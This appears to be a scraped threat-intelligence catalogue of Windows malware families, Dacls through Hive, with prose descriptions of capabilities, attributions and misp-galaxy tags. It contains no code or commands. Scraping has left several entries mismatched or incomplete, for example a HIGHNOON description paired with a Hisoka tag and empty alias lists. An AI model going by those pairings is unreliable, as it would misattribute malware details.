According to PCrisk, Dacls is the name of a remote access Trojan (RAT), a malicious program that allows cyber criminals to control infected computers remotely.

Research shows that this malware is tied to Lazarus Group (a group of cyber criminals) and targets Linux and the Windows Operating System. Typically, cyber criminals use RATs to steal sensitive, confidential information, infect systems with other malware, and so on. In any case, no RAT is harmless and should be uninstalled immediately.

The tag is: misp-galaxy:malpedia="Dacls (Windows)"

**DADJOKE**

DADJOKE was discovered as being distributed via email, targeting a South-East Asian Ministry of Defense. It is delivered as an embedded EXE file in a Word document using remote templates and a unique macro using multiple GET requests. The payload is deployed using load-order hijacking with a benign Windows Defender executable. Stage 1 has only beacon+download functionality, made to look like a PNG file. Additional analysis by Kaspersky found 8 campaigns over 2019 and no activity prior to January 2019, DADJOKE is attributed with medium confidence to APT40.

DanaBot

Proofpoint describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on “quality over quantity” in email-based threats. DanaBot’s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.

danbot

Danbot is a backdoor malware that is originally written in C#. Recent versions of Danbot are written in C++. Danbot is capable of giving a remote attacker remote access features such as running a cmd command, upload and download files, move and copy files. The backdoor commands are transmitted by either using HTTP or DNS protocols. The commands are encapsulated in an XML file that gets stored in disk. Danbot's backdoor component picks up the XML file where it decodes and decrypts the commands.

**DarkComet**

DarkComet is one of the most famous RATs, developed by Jean-Pierre Lesueur in 2008. After being used in the Syrian civil war in 2011, Lesuer decided to stop developing the trojan. Indeed, DarkComet is able to enable control over a compromised system through use of a simple graphic user interface. Experts think that this user friendliness is the key of its mass success.

The tag is: *misp-galaxy:malpedia=“DarkComet”*

DarkComet is also known as:

DarkGate

First documented in 2018, DarkGate is a commodity loader with features that include the ability to download and execute files to memory, a Hidden Virtual Network Computing (HVNC) module, keylogging, information-stealing capabilities, and privilege escalation. DarkGate makes use of legitimate AutoIt files and typically runs multiple AutoIt scripts. New versions of DarkGate have been advertised on a Russian language eCrime forum since May 2023.

Darksky

DarkSky is a botnet that is capable of downloading malware, conducting a number of network and application-layer distributed denial-of-service (DDoS) attacks, and detecting and evading security controls, such as sandboxes and virtual machines. It is advertised for sale on the dark web for $20.
Much of the malware that DarkSky has available to download onto targeted systems is associated with cryptocurrency-mining activity. The DDoS attacks that DarkSky can perform include DNS amplification attacks, TCP (SYN) flood, UDP flood, and HTTP flood. The botnet can also perform a check to determine whether or not the DDoS attack succeeded and turn infected systems into a SOCKS/HTTP proxy to route traffic to a remote server.

DarkTortilla

DarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks® Counter Threat Unit™ (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver "addon packages" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.

From January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021.

Darktrack RAT

According to PCrisk, DarkTrack is a malicious program classified as a Remote Access Trojan (RAT). This type of malware enables remote access and control over an infected device. The level of control these programs have varies, however, some can allow user-level manipulation of the affected machine.

The functionalities of RATs likewise varies and so does the scope of potential misuse. DarkTrack has a broad range of functions/capabilities, which make this Trojan a highly-dangerous piece of software.

DarkVNC

According to Enigmasoft, DarkVNC malware is a hacking tool that is available for purchase online. It can be used as a Virtual Network Computing service, which means that the attackers can get full access to the targeted system via this malware. However, unlike a genuine Virtual Network Computing utility, the DarkVNC threat operates in the background silently. Therefore, it is highly likely that the victims may not notice that their systems have been compromised.

Defray

Defray is ransomware that appeared in 2017, and is targeted ransomware, mainly on the healthcare vertical.

The distribution of Defray has several notable characteristics: According to Proofpoint: " Defray is currently being spread via Microsoft Word document attachments in email The campaigns are as small as several messages each The lures are custom crafted to appeal to the intended set of potential victims The recipients are individuals or distribution lists, e.g., group@ and websupport@ Geographic targeting is in the UK and US Vertical targeting varies by campaign and is narrow and selective "

The tag is: misp-galaxy:malpedia="Defray"

Defray is also known as:

DeimosC2

Trend Micro describes DeimosC2 as an open-source C&C framework that was released in June 2020. It is a fully-functional framework that allows for multiple attackers to access, create payloads for, and interact with victim computers. As a post-exploitation C&C framework, DeimosC2 will generate the payloads that need to be manually executed on computer servers that have been compromised through other means such as social engineering, exploitation, or brute-force attacks. Once it is deployed, the threat actors will gain the same access to the systems as the user account that the payload was executed as, either as an administrator or a regular user. Note that DeimosC2 does not perform active or privilege escalation of any kind.

**DeliveryCheck**

According to CERT-UA, this malware makes use of XSLT (Extensible Stylesheet Language Transformations) and COM-hijacking. Its specificity is the presence of a server part, which is usually installed on compromised MS Exchange servers in the form of a MOF (Managed Object Format) file using the Desired State Configuration (DCS) PowerShell tool, effectively turning a legitimate server into a malware control center.

The tag is: `misp-galaxy:malpedia="DeliveryCheck"`

Deprimon

According to ESET Research, DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor – a trick falling under the “Port Monitors” technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the “Windows Default Print Monitor” name; that’s why we have named it DePriMon. Due to its complexity and modular architecture, researcher believe it to be a framework.

DePriMon has been active since at least March 2017. DePriMon was detected in a private company, based in Central Europe, and at dozens of computers in the Middle East.

The tag is: misp-galaxy:malpedia="Deprimon"

**Dharma**

According to MalwareBytes, the Dharma Ransomware family is installed manually by attackers
hacking into computers over Remote Desktop Protocol Services (RDP). The attackers will scan the Internet for computers running RDP, usually on TCP port 3389, and then attempt to brute force the password for the computer.

Once they gain access to the computer they will install the ransomware and let it encrypt the computer. If the attackers are able to encrypt other computers on the network, they will attempt to do so as well.

The tag is: misp-galaxy:malpedia="Dharma"

Dharma is also known as:

- Arena
- Crysis
- Wadhrama
- ncov

According to PCrisk, DiamondFox is highly modular malware offered as malware-as-a-service, and is for sale on various hacker forums. Therefore, cyber criminals who are willing to use DiamondFox do not necessarily require any technical knowledge to perform their attacks.
Once purchased, this malware can be used to log keystrokes, steal credentials (e.g., usernames, email addresses, passwords), hijack cryptocurrency wallets, perform distributed denial of service (DDoS) attacks, and to carry out other malicious tasks.

DiamondFox allows cyber criminals to choose which plug-ins to keep activated and see infection statistics in real-time.

DMSniff

DMSniff is a point-of-sale malware previously only privately sold. It has been used in breaches of small- and medium-sized businesses in the restaurant and entertainment industries. It uses a domain generation algorithm (DGA) to create lists of command-and-control domains on the fly.
DMSniff is also known as:

Table 2917. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.dmsniff

DneSpy

DneSpy collects information, takes screenshots, and downloads and executes the latest version of other malicious components in the infected system. The malware is designed to receive a “policy” file in JSON format with all the commands to execute. The policy file sent by the C&C server can be changed and updated over time, making dneSpy flexible and well-designed. The output of each executed command is zipped, encrypted, and exfiltrated to the C&C server. These characteristics make dneSpy a fully functional espionage backdoor.

DnSpy is also known as:

</table>
**Minodo**

Since late February 2023, Minodo Backdoor campaigns have been employed to deliver either the Project Nemesis information stealer or more sophisticated backdoors like Cobalt Strike. This backdoor collects basic system information, which it then transmits to the C2 server. In return, it receives an AES-encrypted payload. Notably, the Minodo Backdoor is designed to contact a different C2 address for domain-joined systems. This suggests that more capable backdoors, such as Cobalt Strike, are downloaded on higher-value targets instead of Project Nemesis.

---

**Dridex**

OxCERT blog describes Dridex as "an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&C) server. These C&C servers are numerous and scattered all over the Internet, if
the malware cannot reach one server it will try another. For this reason, network-based measures such as blocking the C&C IPs is effective only in the short-term." According to MalwareBytes, "Dridex uses an older tactic of infection by attaching a Word document that utilizes macros to install malware. However, once new versions of Microsoft Office came out and users generally updated, such a threat subsided because it was no longer simple to infect a user with this method." IBM X-Force discovered "a new version of the Dridex banking Trojan that takes advantage of a code injection technique called AtomBombing to infect systems. AtomBombing is a technique for injecting malicious code into the 'atom tables' that almost all versions of Windows uses to store certain application data. It is a variation of typical code injection attacks that take advantage of input validation errors to insert and to execute malicious code in a legitimate process or application. Dridex v4 is the first malware that uses the AtomBombing process to try and infect systems."

</table>
In 2019, multiple destructive attacks were observed targeting entities within the Middle East. The National Cyber Security Centre (NCSC), a part of the National Cybersecurity Authority (NCA), detected a new malware named “DUSTMAN” that was detonated on December 29, 2019. Based on analyzed evidence and artifacts found on machines in a victim’s network that were not wiped by the malware, NCSC assess that the threat actor behind the attack had some kind of urgency on executing the files on the date of the attack due to multiple OPSEC failures observed on the infected network. NCSC is calling the malware used in this attack "DUSTMAN" after the filename and string embedded in the malware. "DUSTMAN" can be considered as a new variant of "ZeroCleare" malware, published in December 2019.

ELECTRICFISH

The application is a command-line utility and its primary purpose is to tunnel traffic between two IP addresses. The application accepts command-line arguments allowing it to be configured with a destination IP address and port, a source IP address and port, a proxy IP address and port, and a user name and password, which can be utilized to authenticate with a proxy server. It will attempt to establish TCP sessions with the source IP address and the destination IP address. If a connection is made to both the source and destination IPs, this malicious utility will implement a custom protocol, which will allow traffic to rapidly and efficiently be tunneled between two machines. If necessary, the malware can authenticate with a proxy to be able to reach the destination IP address. A configured proxy server is not required for this utility.

ELMER

ELMER is a non-persistent proxy-aware HTTP backdoor written in Delphi, and is capable of performing file uploads and downloads, file execution, and process and directory listings. To retrieve commands, ELMER sends HTTP GET requests to a hard-coded CnC server, and parses the HTTP response packets received from the CnC server for an integer string corresponding to the command that needs to be executed.

The tag is: `misp-galaxy:malpedia="ELMER"`

ELMER is also known as:

- Elmost

Emotet

While Emotet historically was a banking malware organized in a botnet, nowadays Emotet is mostly seen as infrastructure as a service for content delivery. For example, since mid 2018 it is used by Trickbot for installs, which may also lead to ransomware attacks using Ryuk, a combination observed several times against high-profile targets. It is always stealing information from victims but what the criminal gang behind it did, was to open up another business channel by selling their infrastructure delivering additional malicious software. From malware analysts it has been classified into epochs depending on command and control, payloads, and delivery solutions which change over time. Emotet had been taken down by authorities in January 2021, though it appears to have sprung back to life in November 2021.

The tag is: `misp-galaxy:malpedia="Emotet"`

Emotet is also known as:

- Geodo
- Heodo

EternalPetya

According to Proofpoint, Bad Rabbit is a strain of ransomware that first appeared in 2017 and is a suspected variant of Petya. Like other strains of ransomware, Bad Rabbit virus infections lock up victims' computers, servers, or files preventing them from regaining access until a ransom—usually in Bitcoin—is paid.

The tag is: misp-galaxy:malpedia="EternalPetya"

EternalPetya is also known as:

- BadRabbit
- Diskcoder.C
- ExPetr
- NonPetya
- NotPetya
- Nyetya

Exorcist

According to PCrisk, Exorcist is a ransomware-type malicious program. Systems infected with this malware experience data encryption and users receive ransom demands for decryption. During the encryption process, all compromised files are appended with an extension consisting of a ransom string of characters.

For example, a file originally named "1.jpg" could appear as something similar to "1.jpg.rnyZoV" following encryption. After this process is complete, Exorcist ransomware changes the desktop wallpaper and drops HTML applications - "[random-string]-decrypt.hta" (e.g. "rnyZoV-decrypt.hta") - into affected folders. These files contain identical ransom messages.

The tag is: misp-galaxy:malpedia="Exorcist"

Exorcist is also known as:

Expiro

Expiro malware has been around for more than a decade, and the malware authors still continue their work and update it with more features. Also the infection routine was changed in samples found in 2017 (described by McAfee). Expiro "infiltrates" executables on 32- and 64bit Windows OS versions. It has capabilities to install browser extensions, change security behaviour/settings on the infected system, and steal information (e.g. account credentials). There is a newly described EPO file infector source code called m0yv in 2022, which is wrongly identified as expiro by some AVs.
The tag is: `misp-galaxy:malpedia="Expiro"`

Expiro is also known as:

- Xpiro

FatalRat

According to PCrisk, FatalRAT is the name of a Remote Access Trojan (RAT). A RAT is a type of malware that allows the attacker to remotely control the infected computer and use it for various purposes.

Typically, RATs are used to access files and other data, watch computing activities on the screen and capture screenshots, steal sensitive information (e.g., login credentials, credit card details).

There are many legitimate remote administration/access tools on the Internet. It is common that cybercriminals use those tools with malicious intent too.

The tag is: misp-galaxy:malpedia="FatalRat"

FatalRat is also known as:

• Sainbox RAT

FatDuke

According to ESET Research, FatDuke is the current flagship backdoor of APT29 and is only deployed on the most interesting machines. It is generally dropped by the MiniDuke backdoor, but ESET also have seen the operators dropping FatDuke using lateral movement tools such as
PsExec. The operators regularly repack this malware in order to evade detections. The most recent sample of FatDuke that ESET have seen was compiled on May 24, 2019. They have seen them trying to regain control of a machine multiple times in a few days, each time with a different sample. Their packer, described in a later section, adds a lot of code, leading to large binaries. While the effective code should not be larger than 1MB, ESET have seen one sample weighing in at 13MB, hence our name for this backdoor component: FatDuke.

**Ficker Stealer**

According to CyberArk, this malware is used to steal sensitive information, including login credentials, credit card information, cryptocurrency wallets and browser information from applications such as WinSCP, Discord, Google Chrome, Electrum, etc. It does all that by implementing a different approach than other stealers (we'll cover it later). Additionally, FickerStealer can function as a File Grabber and collect additional files from the compromised machine, and it can act as a Downloader to download and execute several second-stage malware.

FinFisher RAT

FinFisher is a commercial software used to steal information and spy on affected victims. It began with few functionalities which included password harvesting and information leakage, but now it is mostly known for its full Remote Access Trojan (RAT) capabilities. It is mostly known for being used in governmental targeted and lawful criminal investigations. It is well known for its anti-detection capabilities and use of VMProtect.

FINTEAM

Recently, Check Point researchers spotted a targeted attack against officials within government finance authorities and representatives in several embassies in Europe. The attack, which starts with a malicious attachment disguised as a top secret US document, weaponizes TeamViewer, the popular remote access and desktop sharing software, to gain full control of the infected computer. This is achieved by sideloading another DLL among the legit TeamViewer.

FudModule

FudModule is a user-mode DLL that gets the ability to read and write arbitrary kernel memory via the BYOVD technique. Its main goal is to turn off Windows system monitoring features, which is done by modifying kernel variables and removing kernel callbacks. Its actions may very likely affect various types of security products, e.g. EDRs, firewalls, antimalware and even digital forensics tools.

FuwuqiDrama

FuwuqiDrama is a server-side RAT. It manages client connections by utilizing I/O completion ports, which are usually used in high-performance server applications as an elegant solution to manage many clients at once.

It contains two distinguishing hardcoded lists.

First is a list of ~50 video files of South Korean TV series, having their titles translated to Mandarin Chinese, but encoded in the form of Pinyin romanization. That means the sounds are spelled in Latin alphabet without tone marks, for example meiyounihuobuxiaqu.avi represents Can't Live Without You (a K-drama from 2012) or wulalafufu.avi translates to Ohlala Couple (also from 2012).

Second is the list of the following corporations: NVIDIA, Amazon, Intel, Skype, 360Safe, Rising, Tencent, Mozilla, Adobe, Yahoo, Google. The same list is contained in some of the WannaCryptor samples.

FuwuqiDrama stores its configuration in the INI file data\package_con_x86.cat. It contains the port number and a bot identifier, all within a single section called Fuwuqi – the romanized Chinese word for server.

Gandcrab

GandCrab was a Ransomware-as-a-Service (RaaS) emerged in January 28, 2018, managed by a criminal organization known to be confident and vocal, while running a rapidly evolving ransomware campaign. Through their aggressive, albeit unusual, marketing strategies and constant recruitment of affiliates, they were able to globally distribute a high volume of their malware.

In a surprising announcement on May 31, 2019, the GandCrab's operators posted on a dark web forum, announced the end of a little more than a year of ransomware operations, citing staggering profit figures. However, If there's one thing that sets these threat actors apart from other groups, it is that they are unpredictable; so there is always the possibility that they might re-surface in one form or another.

**GEMCUTTER**

According to FireEye, GEMCUTTER is used in a similar capacity as BACKBEND (downloader), but maintains persistence by creating a Windows registry run key. GEMCUTTER checks for the presence of the mutex MicrosoftGMMZJ to ensure only one copy of GEMCUTTER is executing. If the mutex doesn't exist, the malware creates it and continues execution; otherwise, the malware signals the MicrosoftGMMExit event.

Ghost RAT

According to Security Ninja, Gh0st RAT (Remote Access Terminal) is a trojan “Remote Access Tool” used on Windows platforms, and has been used to hack into some of the most sensitive computer networks on Earth.
Below is a list of Gh0st RAT capabilities. Take full control of the remote screen on the infected bot. Provide real time as well as offline keystroke logging. Provide live feed of webcam, microphone of infected host. Download remote binaries on the infected remote host. Take control of remote shutdown and reboot of host. Disable infected computer remote pointer and keyboard input. Enter into shell of remote infected host with full control. Provide a list of all the active processes. Clear all existing SSDT of all existing hooks.

GlobeImposter

GlobeImposter is a ransomware application which is mainly distributed via "blank slate" spam (the spam has no message content and an attached ZIP file), exploits, malicious advertising, fake updates, and repacked installers. GlobeImposter mimics the Globe ransomware family. This malware may prevent execution of Anti-Virus solutions and other OS related security features and may prevent system restoration.

The tag is: misp-galaxy:malpedia="GlobeImposter"

GlobeImposter is also known as:

- Fake Globe

GoldenSpy

According securityweek, GoldenSpy, the malware was observed as part of a campaign that supposedly started in April 2020, but some of the identified samples suggest the threat has been around since at least December 2016.

One of the compromised organizations, a global technology vendor that conducts government business in the US, Australia and UK, and which recently opened offices in China, became infected after installing “Intelligent Tax,” a piece of software from the Golden Tax Department of Aisino Corporation, which a local bank required for paying local taxes.
Although it worked as advertised, the software was found to install a hidden backdoor to provide remote operators with the possibility to execute Windows commands or upload and run files.

</tbody>
</table>
GoldDragon

GoldDragon was a second-stage backdoor which established a permanent presence on the victim’s system once the first-stage, file-less, PowerShell-based attack leveraging steganography was executed. The initial attack was observed first in December 2017, when a Korean-language spear phishing campaign targeted organizations linked with Pyeongchang Winter Olympics 2018. GoldDragon was delivered once the attacker had gained an initial foothold in the targeted environment.

The malware was capable of a basic reconnaissance, data exfiltration and downloading of additional components from its C&C server.

**GootKit**

Gootkit is a banking trojan consisting of an x86 loader and a payload embedding nodejs as well as a
set of js scripts. The loader downloads the payload, stores it in registry and injects it in a copy of the loader process. The loader also contains two encrypted DLLs intended to be injected into each browser process launched in order to place the payload in man in the browser and allow it to apply the webinjests received from the command and control server on HTTPx exchanges. This allows Gootkit to intercept HTTPx requests and responses, steal their content or modify it according to the webinjests.

Gozi

In 2006, Gozi v1.0 ('Gozi CRM' aka 'CRM') aka Papras was first observed. It was offered as a CaaS, known as 76Service. This first version of Gozi was developed by Nikita Kurmin, and he borrowed
code from Ursnif aka Snifula, a spyware developed by Alexey Ivanov around 2000, and some other kits. Gozi v1.0 thus had a formgrabber module and often is classified as Ursnif aka Snifula.

In September 2010, the source code of a particular Gozi CRM dll version was leaked, which led to Vawtrak/Neverquest (in combination with Pony) via Gozi Prinimalka (a slightly modified Gozi v1.0) and Gozi v2.0 (aka 'Gozi ISFB' aka 'ISFB' aka Pandemyia). This version came with a webinjext module.

The tag is: misp-galaxy:malpedia="Gozi"

**Grateful POS**

POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. Masked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked
to some of the high-profile merchant breaches in the past.

The tag is: misp-galaxy:malpedia="Grateful POS"

Grateful POS is also known as:

GRIMAGENT

GRIMAGENT is a backdoor that can execute arbitrary commands, download files, create and delete scheduled tasks, and execute programs via scheduled tasks or via the ShellExecute API. The malware persists via a randomly named scheduled task and a registry Run key. The backdoor communicates to hard-coded C&C servers via HTTP requests with portions of its network communications encrypted using both asymmetric and symmetric cryptography. GRIMAGENT was used during some Ryuk Ransomware intrusions in 2020.

Hakbit

Hakbit ransomware is written in .NET. It uploads (some) files to be encrypted to a ftp-server. The ransom note is embedded - in earlier versions as plain string, then as base64 string. In some versions, these strings are slightly obfuscated.

Contact is via an email address hosted on protonmail. Hakbit (original) had hakbit@, more recent "KiraLock" has kiraransom@ (among others of course).

The tag is: misp-galaxy:malpedia="Hakbit"

Hakbit is also known as:

Havex RAT

Havex is a remote access trojan (RAT) that was discovered in 2013 as part of a widespread espionage campaign targeting industrial control systems (ICS) used across numerous industries and attributed to a hacking group referred to as "Dragonfly" and "Energetic Bear". Havex is estimated to have impacted thousands of infrastructure sites, a majority of which were located in Europe and the United States. Within the energy sector, Havex specifically targeted energy grid operators, major electricity generation firms, petroleum pipeline operators, and industrial equipment providers. Havex also impacted organizations in the aviation, defense, pharmaceutical, and petrochemical industries.

Once installed, Havex scanned the infected system to locate any Supervisory Control and Data Acquisition (SCADA) or ICS devices on the network and sent the data back to command and control servers. To do so, the malware leveraged the Open Platform Communications (OPC) standard, which is a universal communication protocol used by ICS components across many industries that facilitates open connectivity and vendor equipment interoperability. Havex used the Distributed Component Object Model (DCOM) to connect to OPC servers inside of an ICS network and collect information such as CLSID, server name, Program ID, OPC version, vendor information, running state, group count, and server bandwidth.
Havex was an intelligence-collection tool used for espionage and not for the disruption or destruction of industrial systems. However, the data collected by Havex would have aided efforts to design and develop attacks against specific targets or industries.

Helauto

The tag is: misp-galaxy:malpedia="Helauto"

Helauto is also known as:
### HelloBot (Windows)

The tag is: `misp-galaxy:malpedia="HelloBot (Windows)"

HelloBot (Windows) is also known as:

### HelloKitty (Windows)

Unit42 states that HelloKitty is a ransomware family that first surfaced at the end of 2020, primarily targeting Windows systems. The malware family got its name due to its use of a Mutex with the same name: HelloKittyMutex. The ransomware samples seem to evolve quickly and frequently, with different versions making use of the .crypted or .kitty file extensions for encrypted files. Some newer samples make use of a Golang packer that ensures the final ransomware code is only loaded in memory, most likely to evade detection by security solutions.

HermeticWiper

According to SentinelLabs, HermeticWiper is a custom-written application with very few standard functions. It abuses a signed driver called "empntdrv.sys" which is associated with the legitimate Software "EaseUS Partition Master Software" to enumerate the MBR and all partitions of all Physical Drives connected to the victims Windows Device and overwrite the first 512 Bytes of every MBR and Partition it can find, rendering them useless. This malware is associated to the malware attacks against Ukraine during Russians Invasion in February 2022.

**HiddenTear**

HiddenTear is an open source ransomware developed by a Turkish programmer and later released as proof of concept on GitHub. The malware generates a local symmetric key in order to encrypt a configurable folder (/test was the default one) and it sends it to a centralized C&C server. Due to its small payload it was used as real attack vector over email phishing campaigns. Variants are still used in attacks.

The tag is: misp-galaxy:malpedia="HiddenTear"

HiddenTear is also known as:

- FuckUnicorn

HIGHNOON

According to FireEye, HIGHNOON is a backdoor that may consist of multiple components. The components may include a loader, a DLL, and a rootkit. Both the loader and the DLL may be dropped together, but the rootkit may be embedded in the DLL. The HIGHNOON loader may be designed to run as a Windows service.

The tag is: `misp-galaxy:malpedia="Hisoka"`

Hisoka is also known as:
Hive (Windows)

Hive is a strain of ransomware that was first discovered in June 2021. Hive was designed to be used by Ransomware-as-a-service providers, to enable novice cyber-criminals to launch ransomware attacks on healthcare providers, energy providers, charities, and retailers across the globe. In 2022 there was a switch from GoLang to Rust.
